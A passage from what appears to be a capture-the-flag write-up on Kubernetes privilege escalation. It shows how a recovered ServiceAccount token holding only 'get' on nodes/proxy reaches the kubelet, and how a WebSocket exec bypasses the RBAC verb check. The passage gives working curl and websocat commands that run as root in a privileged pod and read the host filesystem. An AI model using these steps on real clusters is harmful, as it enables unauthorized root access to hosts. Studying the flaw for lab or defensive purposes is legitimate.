check for <strong>pods/list</strong>. The kubelet’s own authorization webhook decides whether the token is permitted to see pod data.</p><pre>curl -sk -H &quot;Authorization: Bearer $TOKEN&quot; \<br>  https://127.0.0.1:10250/pods | jq &#39;.items[].metadata.name&#39;</pre><p>Output:</p><pre>&quot;metrics-server-c8774f4f4-phw6q&quot;<br>&quot;prometheus-server-867bb4fcfd-m4t59&quot;<br>&quot;prometheus-kube-state-metrics-7c8c787854-25j6q&quot;<br>&quot;mcp-server-54464cb475-29ztf&quot;<br>&quot;prometheus-prometheus-node-exporter-nmntq&quot;<br>&quot;coredns-76c974cb66-cn7l6&quot;<br>&quot;local-path-provisioner-8686667995-lp9th&quot;</pre><p><strong>Get all Pods with their containers:</strong></p><pre>curl -sk -H &quot;Authorization: Bearer $TOKEN&quot; \<br>  https://127.0.0.1:10250/pods | \<br>  jq &#39;.items[] | {pod: .metadata.name, containers: [.spec.containers[].name]}&#39;</pre><p>Output:</p><pre>{ &quot;pod&quot;: &quot;prometheus-prometheus-node-exporter-nmntq&quot;, &quot;containers&quot;: [&quot;node-exporter&quot;] }<br>{ &quot;pod&quot;: &quot;coredns-76c974cb66-cn7l6&quot;, &quot;containers&quot;: [&quot;coredns&quot;] }<br>{ &quot;pod&quot;: &quot;local-path-provisioner-8686667995-lp9th&quot;, &quot;containers&quot;: [&quot;local-path-provisioner&quot;] }<br>{ &quot;pod&quot;: &quot;metrics-server-c8774f4f4-phw6q&quot;, &quot;containers&quot;: [&quot;metrics-server&quot;] }<br>{ &quot;pod&quot;: &quot;prometheus-server-867bb4fcfd-m4t59&quot;, &quot;containers&quot;: [&quot;prometheus-server-configmap-reload&quot;, &quot;prometheus-server&quot;] }<br>{ &quot;pod&quot;: &quot;prometheus-kube-state-metrics-7c8c787854-25j6q&quot;, &quot;containers&quot;: [&quot;kube-state-metrics&quot;] }<br>{ &quot;pod&quot;: &quot;mcp-server-54464cb475-29ztf&quot;, &quot;containers&quot;: [&quot;mcp-server&quot;] }</pre><p><strong>Inspect a specific Pod’s security context, privilege flags, and host mounts:</strong></p><pre>curl -sk -H &quot;Authorization: Bearer $TOKEN&quot; \<br>  https://127.0.0.1:10250/pods | \<br>  jq &#39;.items[] | select(.metadata.name==&quot;prometheus-prometheus-node-exporter-nmntq&quot;) |<br>  {<br>    namespace: .metadata.namespace,<br>    pod: .metadata.name,<br>    node: .spec.nodeName,<br>    serviceAccount: .spec.serviceAccountName,<br>    hostNetwork: .spec.hostNetwork,<br>    hostPID: .spec.hostPID,<br>    containers: [.spec.containers[] | {<br>      name: .name,<br>      image: .image,<br>      privileged: .securityContext.privileged,<br>      runAsUser: .securityContext.runAsUser,<br>      volumeMounts: .volumeMounts<br>    }],<br>    hostPathVolumes: [.spec.volumes[]? | select(.hostPath != null) | {name: .name, hostPath: .hostPath.path}]<br>  }&#39;</pre><p>Output:</p><pre>{<br>  &quot;namespace&quot;: &quot;monitoring&quot;,<br>  &quot;pod&quot;: &quot;prometheus-prometheus-node-exporter-nmntq&quot;,<br>  &quot;node&quot;: &quot;fireflow&quot;,<br>  &quot;podIP&quot;: &quot;10.129.244.214&quot;,<br>  &quot;serviceAccount&quot;: &quot;prometheus-prometheus-node-exporter&quot;,<br>  &quot;hostNetwork&quot;: true,<br>  &quot;hostPID&quot;: true,<br>  &quot;containers&quot;: [<br>    {<br>      &quot;name&quot;: &quot;node-exporter&quot;,<br>      &quot;image&quot;: &quot;quay.io/prometheus/node-exporter:v1.11.1&quot;,<br>      &quot;privileged&quot;: true,<br>      &quot;runAsUser&quot;: 0,<br>      &quot;volumeMounts&quot;: [<br>        { &quot;name&quot;: &quot;proc&quot;, &quot;readOnly&quot;: true, &quot;mountPath&quot;: &quot;/host/proc&quot; },<br>        { &quot;name&quot;: &quot;sys&quot;,  &quot;readOnly&quot;: true, &quot;mountPath&quot;: &quot;/host/sys&quot; },<br>        { &quot;name&quot;: &quot;root&quot;, &quot;readOnly&quot;: true, &quot;mountPath&quot;: &quot;/host/root&quot;, &quot;mountPropagation&quot;: &quot;HostToContainer&quot; }<br>      ]<br>    }<br>  ],<br>  &quot;hostPathVolumes&quot;: [<br>    { &quot;name&quot;: &quot;proc&quot;, &quot;hostPath&quot;: &quot;/proc&quot; },<br>    { &quot;name&quot;: &quot;sys&quot;,  &quot;hostPath&quot;: &quot;/sys&quot; },<br>    { &quot;name&quot;: &quot;root&quot;, &quot;hostPath&quot;: &quot;/&quot; }<br>  ]<br>}</pre><p>Several attributes in this output are critically significant when found together. The container runs as <strong>runAsUser: 0</strong> — root. It runs with <strong>privileged: true</strong> — full kernel capabilities. And it mounts <strong>hostPath: “/”</strong> at <strong>/host/root</strong> inside the container — the entire host filesystem is visible from inside the container.</p><p>Looking at the full raw JSON response exposes details the filtered jq query above omits. The pod-level <strong>securityContext</strong> sets <strong>runAsNonRoot: true</strong> and <strong>runAsUser: 65534</strong> — which at first glance looks like a security control. But the container-level <strong>securityContext</strong> overrides it with <strong>runAsUser: 0, runAsNonRoot: false, allowPrivilegeEscalation: true</strong>. In Kubernetes, container-level security context always wins over the pod-level one. The pod-level setting is effectively neutralised by the container spec.</p><p>The <strong>hostNetwork: true</strong> and <strong>hostPID: true</strong> flags extend the exposure further. <strong>hostNetwork: true</strong> means the container shares the host’s network stack — it binds directly on the node’s IP, not on a virtual pod network. <strong>hostPID: true</strong> means the container can see every process running on the host through <strong>/proc</strong>. Combined with the host filesystem mount, the container has read visibility into the host’s disk, network, and process table simultaneously.</p><p>One detail worth noting: <strong>automountServiceAccountToken: false</strong> is set on this pod. The node-exporter has no ServiceAccount token mounted — it does not need to make Kubernetes API calls to do its job. This is actually correct hardening for this specific pod, but it is irrelevant for exploitation because the token being used belongs to <strong>mcp-sa</strong>, which was recovered from the <strong>mcp-server</strong> pod, not from node-exporter.</p><p>The <strong>containerStatus</strong> in the raw JSON also confirms the actual runtime user: <strong>uid=0, gid=65534, supplementalGroups=[10, 65534]</strong>. This matches exactly what the exec output returns — <strong>uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody)</strong>. The JSON and the exec result agree. Any command execution inside this container runs as UID 0 with access to the host filesystem mounted at <strong>/host/root</strong>.</p><p>For contrast, the raw JSON shows how the other pods on the same node are configured. The <strong>kube-state-metrics</strong> pod drops all Linux capabilities (<strong>capabilities: drop: ALL</strong>), sets <strong>readOnlyRootFilesystem: true</strong>, <strong>allowPrivilegeEscalation: false</strong>, runs as UID 65534, and adds a <strong>seccompProfile: RuntimeDefault</strong> — the most locked-down posture in the cluster. The <strong>metrics-server</strong> pod similarly sets <strong>runAsNonRoot: true</strong>, <strong>readOnlyRootFilesystem: true</strong>, and <strong>allowPrivilegeEscalation: false</strong>. The <strong>mcp-server</strong> pod uses <strong>imagePullPolicy: Never</strong>, meaning its image is loaded locally from the node and never pulled from an external registry — a detail that explains why the image tag is <strong>mcp-server:latest</strong> with no registry prefix. The <strong>local-path-provisioner</strong> pod, notably, runs as UID 0 with no explicit security context, though it has no host mounts so the risk is lower. The contrast across the cluster is clear: most pods follow least-privilege principles, but node-exporter is deliberately privileged for its monitoring role, and that privileged posture is what makes it the target.</p><p><strong>Stream container logs:</strong></p><pre>curl -sk -H &quot;Authorization: Bearer $TOKEN&quot; \<br>  &quot;https://127.0.0.1:10250/containerLogs/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter&quot;</pre><p><strong>Node stats (requires </strong>nodes/stats<strong> permission — denied for most restricted ServiceAccounts):</strong></p><pre>curl -sk -H &quot;Authorization: Bearer $TOKEN&quot; \<br>  https://127.0.0.1:10250/stats/summary</pre><p>Output when denied:</p><pre>Forbidden (user=system:serviceaccount:default:mcp-sa, verb=get, resource=nodes, subresource(s)=[stats])</pre><h3>12. nodes/proxy — The API Server Proxy Path</h3><p>Every Node object in Kubernetes has a special subresource called <strong>proxy</strong>. It exists so that the API server can act as a relay to the kubelet running on that node — without callers needing direct network access to the node.</p><p>In many clusters, nodes are on a private network unreachable from where kubectl runs. Instead of connecting to a node directly, tools connect to the API server (which they already trust and can reach) and ask it to forward the request to the node’s kubelet on their behalf.</p><p>The URL structure for this proxy path is:</p><pre>/api/v1/nodes/{NODE-NAME}/proxy/{PATH}</pre><p>Everything after <strong>/proxy/</strong> is passed straight through to the kubelet unchanged. Hitting <strong>/api/v1/nodes/fireflow/proxy/pods</strong> through the API server is functionally identical to hitting <a href="https://127.0.0.1:10250/pods"><strong>https://127.0.0.1:10250/pods</strong></a> directly — the API server is just relaying the byte stream from the kubelet back to the caller.</p><p>The node name <strong>fireflow</strong> comes from the Pod spec (<strong>.spec.nodeName</strong> on every Pod’s JSON) and from the JWT payload (<strong>kubernetes.io.node.name</strong>). In a single-node cluster there is only one possible value, but in a multi-node cluster you would need to identify the specific node whose kubelet you want to reach.</p><p><strong>List pods via the API server proxy:</strong></p><pre>curl -sk -H &quot;Authorization: Bearer $TOKEN&quot; \<br>  &quot;https://127.0.0.1:6443/api/v1/nodes/fireflow/proxy/pods&quot; | \<br>  jq &#39;.items[].metadata.name&#39;</pre><p>Output:</p><pre>&quot;local-path-provisioner-8686667995-lp9th&quot;<br>&quot;prometheus-kube-state-metrics-7c8c787854-25j6q&quot;<br>&quot;prometheus-server-867bb4fcfd-m4t59&quot;<br>&quot;mcp-server-54464cb475-29ztf&quot;<br>&quot;prometheus-prometheus-node-exporter-nmntq&quot;<br>&quot;metrics-server-c8774f4f4-phw6q&quot;<br>&quot;coredns-76c974cb66-cn7l6&quot;</pre><p>The same result as hitting the kubelet directly at port 10250.</p><p><strong>Or with kubectl:</strong></p><pre>kubectl get --raw &quot;/api/v1/nodes/fireflow/proxy/pods&quot;</pre><h3>Why nodes/proxy is dangerous as a permission</h3><p>RBAC treats <strong>nodes/proxy</strong> as one single resource with normal verbs — <strong>get</strong>, <strong>create</strong>, and so on. It does not understand or restrict what path gets proxied through. Granting <strong>get</strong> on <strong>nodes/proxy</strong> sounds like “let this account read some node information,” but it actually means “let this account send any GET-shaped request to the kubelet’s entire HTTP API” — pods list, stats, logs, and exec operations when the right transport is used.</p><h3>13. The WebSocket Exec Verb-Mapping Gap</h3><p>The kubelet exposes <strong>/exec/{namespace}/{pod}/{container}</strong> as a streaming endpoint. Running a command inside a container through this endpoint requires a persistent, bidirectional connection — a single HTTP request/response pair cannot carry that. The kubelet supports two transport mechanisms for this:</p><p>Standard SPDY streaming exec is what <strong>kubectl exec</strong> and <strong>curl -X POST</strong> use. It starts with a POST request. The kubelet’s authorization webhook maps POST to the <strong>create</strong> RBAC verb.</p><p>WebSocket exec uses an HTTP GET request with <strong>Connection: Upgrade</strong> and <strong>Upgrade: websocket</strong> headers, which upgrades the connection to a WebSocket session. The kubelet’s authorization webhook maps this GET to the <strong>get</strong> RBAC verb.</p><p>Both transports achieve the same end result — full interactive command execution inside the container. But because they use different HTTP methods, the authorization webhook classifies them under different RBAC verbs. This is the gap.</p><p>The exec operation runs commands as whatever user the container’s process runs as, in whatever environment that container already has access to. If a container runs as root and has the entire host filesystem bind-mounted inside it, an exec into that container gives root-level read access to the whole host disk — not because the host was broken into directly, but because the container already had that access and exec lets you drive it.</p><p>Consider <strong>mcp-sa</strong> whose complete RBAC grant is <strong>get</strong> on <strong>nodes/proxy</strong> plus <strong>create</strong> on the self-review APIs. The only verb on <strong>nodes/proxy</strong> is <strong>get</strong> — not <strong>create</strong>. The intended purpose is probably read-only diagnostic access: query kubelet metrics or pod lists through the API server proxy.</p><p>A WebSocket exec request sent directly to the kubelet on port 10250 is evaluated as verb <strong>get</strong> on <strong>nodes/proxy</strong>. Since <strong>mcp-sa</strong> has <strong>get</strong> on <strong>nodes/proxy</strong>, the kubelet’s webhook approves it — even though the logical operation is an exec, which should require <strong>create</strong> and is correctly denied when attempted via POST.</p><p>WebSocket exec is a kubelet-only operation. It must be sent directly to port 10250. The API server does not support WebSocket exec upgrades through the <strong>nodes/proxy</strong> path — when attempted, it returns <strong>400 Bad Request</strong>, not an RBAC denial. The API server’s proxy handler rejects the WebSocket upgrade before it gets to authorization. The verb-mapping gap exists only in the kubelet’s own authorization webhook. Attempting WebSocket exec via the API server at port 6443 fails with:</p><h3>14. Allowed vs. Denied — Full Command Reference with Reasoning</h3><p>This section documents every command attempted with the <strong>mcp-sa</strong> token — what succeeded, what failed, and exactly why.</p><h3>What works</h3><p><strong>List pods directly via the kubelet:</strong></p><pre>curl -sk -H &quot;Authorization: Bearer $TOKEN&quot; \<br>  https://127.0.0.1:10250/pods | jq &#39;.items[].metadata.name&#39;</pre><p>This works because querying <strong>/pods</strong> is a GET request, the kubelet maps GET to the <strong>get</strong> verb, and <strong>mcp-sa</strong> has <strong>get</strong> on <strong>nodes/proxy</strong>. The kubelet’s webhook approves it.</p><p><strong>List pods via the API server proxy:</strong></p><pre>curl -sk -H &quot;Authorization: Bearer $TOKEN&quot; \<br>  &quot;https://127.0.0.1:6443/api/v1/nodes/fireflow/proxy/pods&quot; | \<br>  jq &#39;.items[].metadata.name&#39;</pre><p>This works for the same reason — it is a GET request, the proxy subresource is allowed under <strong>get</strong>, and the API server forwards it to the kubelet which returns the pod list.</p><p><strong>RBAC self-review via the API server:</strong></p><pre>curl -sk -X POST https://127.0.0.1:6443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \<br>  -H &quot;Authorization: Bearer $TOKEN&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{<br>    &quot;apiVersion&quot;: &quot;authorization.k8s.io/v1&quot;,<br>    &quot;kind&quot;: &quot;SelfSubjectRulesReview&quot;,<br>    &quot;spec&quot;: { &quot;namespace&quot;: &quot;default&quot; }<br>  }&#39; | jq &#39;.status.resourceRules&#39;</pre><p>This works because <strong>create</strong> on <strong>selfsubjectrulesreviews</strong> is explicitly granted to <strong>mcp-sa</strong>. It is a POST, which maps to <strong>create</strong>, and the resource is in the allowed list.</p><p><strong>WebSocket exec directly against the kubelet on port 10250:</strong></p><p>First verify execution context with a benign command:</p><pre>echo &quot;id&quot; | websocat -n -k \<br>  &quot;wss://127.0.0.1:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?command=id&amp;output=1&amp;error=1&quot; \<br>  -H &quot;Authorization: Bearer $TOKEN&quot;</pre><p>Output:</p><pre>uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody)</pre><p>This works because a WebSocket upgrade is a GET request at the HTTP layer. The kubelet maps GET to the <strong>get</strong> verb. <strong>mcp-sa</strong> has <strong>get</strong> on <strong>nodes/proxy</strong>. The webhook approves it — even though the logical operation is an exec, which should require <strong>create</strong>.</p><p>Then read the root flag through the host filesystem mount:</p><pre>echo &quot;cat /host/root/root/root.txt&quot; | websocat -n -k \<br>  &quot;wss://127.0.0.1:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?command=cat&amp;command=/host/root/root/root.txt&amp;output=1&amp;error=1&quot; \<br>  -H &quot;Authorization: Bearer $TOKEN&quot;</pre><p>The node-exporter container has <strong>/</strong> (the host root) mounted at <strong>/host/root</strong>. Running <strong>cat /host/root/root/root.txt</strong> inside the container reads <strong>/root/root.txt</strong> on the actual host filesystem as root.</p><h3>What fails</h3><p><strong>Standard kubectl exec (uses SPDY/POST internally):</strong></p><pre>kubectl exec -n monitoring prometheus-prometheus-node-exporter-nmntq \<br>  -c node-exporter -- id</pre><p>Output:</p><pre>Error from server (Forbidden): pods &quot;prometheus-prometheus-node-exporter-nmntq&quot; is forbidden:<br>User &quot;system:serviceaccount:default:mcp-sa&quot; cannot create resource &quot;pods/exec&quot;<br>in API group &quot;&quot; in the namespace &quot;monitoring&quot;</pre><p>kubectl exec uses a POST-based SPDY stream. POST maps to <strong>create</strong>. <strong>mcp-sa</strong> has no <strong>create</strong> on <strong>pods/exec</strong>. Denied.</p><p><strong>Direct POST exec to the kubelet:</strong></p><pre>curl -sk -X POST -H &quot;Authorization: Bearer $TOKEN&quot; \<br>  &quot;https://127.0.0.1:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?command=id&amp;input=1&amp;output=1&amp;tty=1&quot;</pre><p>Output:</p><pre>Forbidden (user=system:serviceaccount:default:mcp-sa, verb=create, resource=nodes, subresource(s)=[proxy])</pre><p>POST maps to <strong>create</strong>. <strong>mcp-sa</strong> does not have <strong>create</strong> on <strong>nodes/proxy</strong>. Denied by the kubelet’s webhook.</p><p><strong>POST exec through the API server proxy:</strong></p><pre>curl -sk -X POST -H &quot;Authorization: Bearer $TOKEN&quot; \<br>  &quot;https://127.0.0.1:6443/api/v1/nodes/fireflow/proxy/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?command=id&amp;input=1&amp;output=1&amp;tty=1&quot;</pre><p>Output: Forbidden. The API server applies its own RBAC check before forwarding — POST maps to <strong>create</strong> — denied.</p><p><strong>Attempting WebSocket exec via the API server proxy at port 6443 (always fails):</strong></p><p>WebSocket exec cannot be routed through the API server. The API server’s proxy handler rejects the WebSocket upgrade entirely, returning <strong>400 Bad Request</strong> — it does not reach an RBAC check. The verb-mapping gap only exists in the kubelet’s own authorization webhook. The working command always targets the kubelet directly at port 10250:</p><pre>websocat -n -k \<br>  &quot;wss://127.0.0.1:6443/api/v1/nodes/fireflow/proxy/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?command=id&amp;output=1&amp;error=1&quot; \<br>  -H &quot;Authorization: Bearer $TOKEN&quot;<br>websocat: WebSocketError: WebSocketError: Received unexpected status code (400 Bad Request)<br>websocat: error running</pre><p><strong>Reading cluster-level resources:</strong></p><pre>kubectl get nodes<br># Error from server (Forbidden): nodes is forbidden:<br># User &quot;system:serviceaccount:default:mcp-sa&quot; cannot list resource &quot;nodes&quot;</pre><pre>kubectl get namespaces<br># Error from server (Forbidden): namespaces is forbidden: ...<br>kubectl get pods -A<br># Error from server (Forbidden): pods is forbidden: ...<br>kubectl get services -A<br># Error from server (Forbidden): services is forbidden: ...</pre><p>None of these are granted in <strong>mcp-sa</strong>’s RBAC rules. Two different components evaluate the same logical exec action differently. The API server’s proxy handler treats initiating any exec stream as a <strong>create</strong> action, regardless of transport. The kubelet’s own authorization webhook maps the HTTP method of the request directly: POST becomes <strong>create</strong>, and GET (including a WebSocket upgrade) becomes <strong>get</strong>. Because <strong>mcp-sa</strong> holds <strong>get</strong> on <strong>nodes/proxy</strong> — a grant almost certainly intended only for read-only diagnostics — the WebSocket transport inadvertently satisfies the authorization check for an operation that should require <strong>create</strong>. The security boundary the RBAC rule was designed to enforce does not hold across all code paths that resolve to the same permission check. This is a verb-based authorization bypass: same logical operation, different HTTP transport, different RBAC outcome.</p><p>The right approach when you have a ServiceAccount token is to enumerate before you act. Use <strong>SelfSubjectAccessReview</strong> to check one specific permission, and <strong>SelfSubjectRulesReview</strong> to map everything the identity can do. This avoids noisy trial-and-error and makes the permission boundary clear before any exploit attempt. The <strong>pods/exec</strong> check returns false — that is the intended wall. <strong>nodes/proxy</strong> with <strong>get</strong> is a different code path, and it is what makes the WebSocket transport bypass possible. The bypass was found by understanding the permission model and the protocol, then testing systematically rather than scanning.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=27051aaec45e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>